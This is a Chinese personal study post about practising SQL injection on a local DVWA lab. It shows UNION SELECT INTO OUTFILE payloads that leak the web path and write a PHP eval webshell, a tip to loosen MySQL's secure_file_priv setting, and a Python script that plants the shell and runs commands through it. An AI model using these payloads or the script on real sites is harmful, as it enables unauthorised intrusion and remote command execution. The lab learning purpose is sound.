好好过你的生活,不要老是忙着告诉别人你在干嘛。
最近在复习学过的东西,自己就重新搭了个dvwa来学习新思路,写一些简单的脚本来练习写代码的能力。
众所周知SQL注入的危害是相当大的,对于每个老司机来说,如果发现注入点并可以利用的话,除了脱裤当然是猜解出管理员的用户名密码,后台登陆上传webshell了,虽然这些过程并不一定一路通顺,只是一般的流程,中途会遇到各种各样的问题,这些以后再说,当我这个菜比都学会了在分享出来吧。
今天我们说说利用sql注入漏洞写入webshell。当我们发现了注入漏洞,但是却找不到后台,该怎么办呢,如果数据库管理员权限比较大的话,我们可以通过sql注入向网站写入shell。
写入webshell的前提条件:
1.select into outfile方法可用(允许导出文件)
2.我们需要知道网站所在的绝对路径
3.我们有足够的权限
首先我们确定了注入点,接下来就是爆一下网站的绝对路径:
在输入框中输入,1‘ union select ‘x‘,‘x‘ into outfile ‘xx‘ -- 利用错误的sql语句,使数据库报错并返回绝对路径
现在已经获得了网站的绝对路径,接下来就是利用sql注入写shell了,在输入框中插入 1‘ union select "<?php @eval($_GET[‘cmd‘])?>","hello admin" into outfile ‘C:\\phpStudy\\PHPTutorial\\WWW\\dvwa\\hello.php‘ (需要注意,是两个"\") 点击提交,我们看一下是否上传成功
当我们输入 select ‘xx‘ into outfile ‘xxxx/xx/xx‘ -- 时 可能会遇到一下情况:
解决办法:找到my.ini文件 在最后一行加上一句 secure_file_prv="/"重启mysql即可。
============================================================附上自己写的自动化辣鸡代码=========================================================================
# -*- utf-8 -*- import requests import re headers = { ‘Accept‘:‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8‘, ‘Accept-Encoding‘:‘gzip, deflate‘, ‘Accept-Language‘:‘zh-CN,zh;q=0.8‘, ‘Cache-Control‘:‘max-age=0‘, ‘Connection‘:‘keep-alive‘, ‘Cookie‘:‘security=low; PHPSESSID=pie6uqttjqtnadq1b5dp8640u1‘, ‘Host‘:‘192.168.86.129‘, ‘Referer‘:‘http://192.168.86.129/dvwa/security.php‘, ‘Upgrade-Insecure-Requests‘:‘1‘, ‘User-Agent‘:‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36‘ } url = raw_input(‘url:‘) print ‘=‘*15,u‘大爷稍等‘,‘=‘*15 payload = ‘%27+union+select+"<%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3F>"%2C"hello+admin"+into+outfile+%27C%3A%5C%5CphpStudy%5C%5CPHPTutorial%5C%5CWWW%5C%5Cdvwa%5C%5Chello.php%27+--+&Submit=Submit#‘ url1 = requests.get(url+payload,headers=headers) url2 = ‘http://192.168.86.129/dvwa/hello.php‘ url3 = requests.get(url2,headers=headers) url4 = re.findall(‘<body>(.*?)</body>‘,url3.text) if ‘hello‘ in url3.text: print u‘webshell已写入,路径为:http://192.168.86.129/dvwa/hello.php‘ else: print u‘写入失败‘ print u‘大爷您请便!‘ url5 = ‘http://192.168.86.129/dvwa/hello.php?cmd=‘ url6 = raw_input() url7 = requests.get(url5+url6,headers=headers) url8 = re.findall(‘<body>(.*?)</body>‘,url7.content) print url7.content
以此记录自己学过的知识,以防忘记,每天进步一点,共勉。